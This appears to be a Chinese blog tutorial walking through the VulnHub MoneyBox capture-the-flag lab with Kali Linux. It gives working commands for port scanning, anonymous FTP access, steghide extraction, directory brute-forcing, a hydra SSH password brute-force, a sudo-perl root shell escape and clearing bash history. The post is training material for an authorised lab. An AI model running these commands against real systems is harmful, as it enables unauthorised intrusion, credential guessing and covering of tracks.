ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

从VulnHub的MoneyBox靶场到实战:手把手教你用Kali Linux 2023.2挖出所有Flag

2026/8/16 13:11:43 拓冰建站 浏览量
从VulnHub的MoneyBox靶场到实战:手把手教你用Kali Linux 2023.2挖出所有Flag

从MoneyBox靶场到实战:Kali Linux渗透测试全流程拆解

刚接触CTF的新手常会遇到这样的困境:下载了一个靶场虚拟机,却对着黑屏终端不知所措。VulnHub的MoneyBox正是这样一个典型场景——它模拟了真实环境中常见的配置漏洞和权限问题,但缺乏实战经验的人很容易在某个步骤卡住。本文将用2023.2版本的Kali Linux,带你完整走通从信息收集到提权的全流程,重点解决那些教程里不会提到的"坑点"。

1. 环境准备与网络配置

1.1 虚拟机导入注意事项

VirtualBox导入MoneyBox时常见两个问题:

  • 网卡驱动报错:如果提示"未找到虚拟光盘",需手动选择.vmdk文件路径
  • 内存分配不足:建议给Kali分配至少4GB内存,MoneyBox只需1GB即可

正确的网络配置应该这样操作:

# Kali网络设置(双网卡模式) 适配器1:仅主机(Host-only)网络 → 与靶机通信 适配器2:NAT → 用于软件更新

1.2 靶场IP发现技巧

很多新手会卡在找不到靶机IP这一步。推荐组合使用这些命令:

arp-scan -l --interface=eth0 # 快速扫描同网段设备 nmap -sn 192.168.56.0/24 # 确认存活主机 netdiscover -i eth0 -r 192.168.56.0/24 # 可视化显示

注意:如果扫描无结果,检查VirtualBox的Host-only网络是否启用DHCP

2. 信息收集与漏洞初探

2.1 端口扫描的进阶用法

常规的nmap -sV可能遗漏关键信息,建议配合:

nmap -sC -sV -p- -T4 192.168.56.103 -oA full_scan # 全端口扫描+脚本检测

扫描结果通常会显示:

  • 21端口:vsftpd 3.0.3(可能存在匿名登录)
  • 22端口:OpenSSH 7.9p1(需检查版本漏洞)
  • 80端口:Apache 2.4.38

2.2 FTP匿名登录实战

当发现允许匿名登录时,别急着下载文件:

ftp 192.168.56.103 Name: anonymous Password: (直接回车)

关键操作步骤:

  1. ls -la查看隐藏文件
  2. binary设置二进制传输模式(避免图片损坏)
  3. mget *下载全部文件

3. 隐写术分析与密码破解

3.1 图片隐写处理流程

使用steghide处理下载的图片时:

steghide info box.jpg # 检查嵌入文件 steghide extract -sf box.jpg # 提取内容

常见问题:如果提示密码错误,尝试这些常见密码:

  • 空密码
  • 图片文件名(如box)
  • 靶场名称(moneybox)

3.2 Web目录爆破技巧

当Web页面看似正常时,使用dirb高效爆破:

dirb http://192.168.56.103 /usr/share/wordlists/dirb/common.txt -X .php,.txt

重点关注:

  • /blogs/ 目录
  • /admin/ 后台
  • /backup/ 备份文件

4. SSH爆破与权限提升

4.1 精细化SSH爆破

使用hydra爆破时要注意速率控制:

hydra -l renu -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.56.103

关键参数说明:

  • -t 4:限制线程数避免被ban
  • -vV:显示详细过程
  • -o result.txt:保存结果

4.2 权限提升的三种路径

在获取低权限shell后,系统检查顺序应该是:

  1. sudo -l查看可执行命令
  2. find / -perm -4000 2>/dev/null找SUID文件
  3. uname -a检查内核漏洞

MoneyBox中可利用的perl脚本提权:

sudo /usr/bin/perl -e 'exec "/bin/sh";'

5. Flag收集与痕迹清理

5.1 系统化搜索Flag

不要只找显眼的flag.txt,这些位置也常隐藏flag:

find / -name "*flag*" -type f 2>/dev/null grep -r "flag{" /home 2>/dev/null strings /usr/bin/suspicious_file | grep "flag{"

5.2 渗透测试后的必要操作

测试完成后应当:

  1. 删除创建的临时用户
  2. 清除bash历史记录
  3. 恢复修改过的配置文件
  4. 关闭建立的反弹shell

最后提醒:所有渗透测试必须在授权环境下进行,建议使用VirtualBox的快照功能保存初始状态,方便反复练习。遇到卡壳时,多思考各个服务之间的关联性——比如FTP下载的图片密码可能用在SSH登录,Web页面注释可能提示系统用户名。保持这种"线索串联"思维,才是CTF比赛的精髓所在。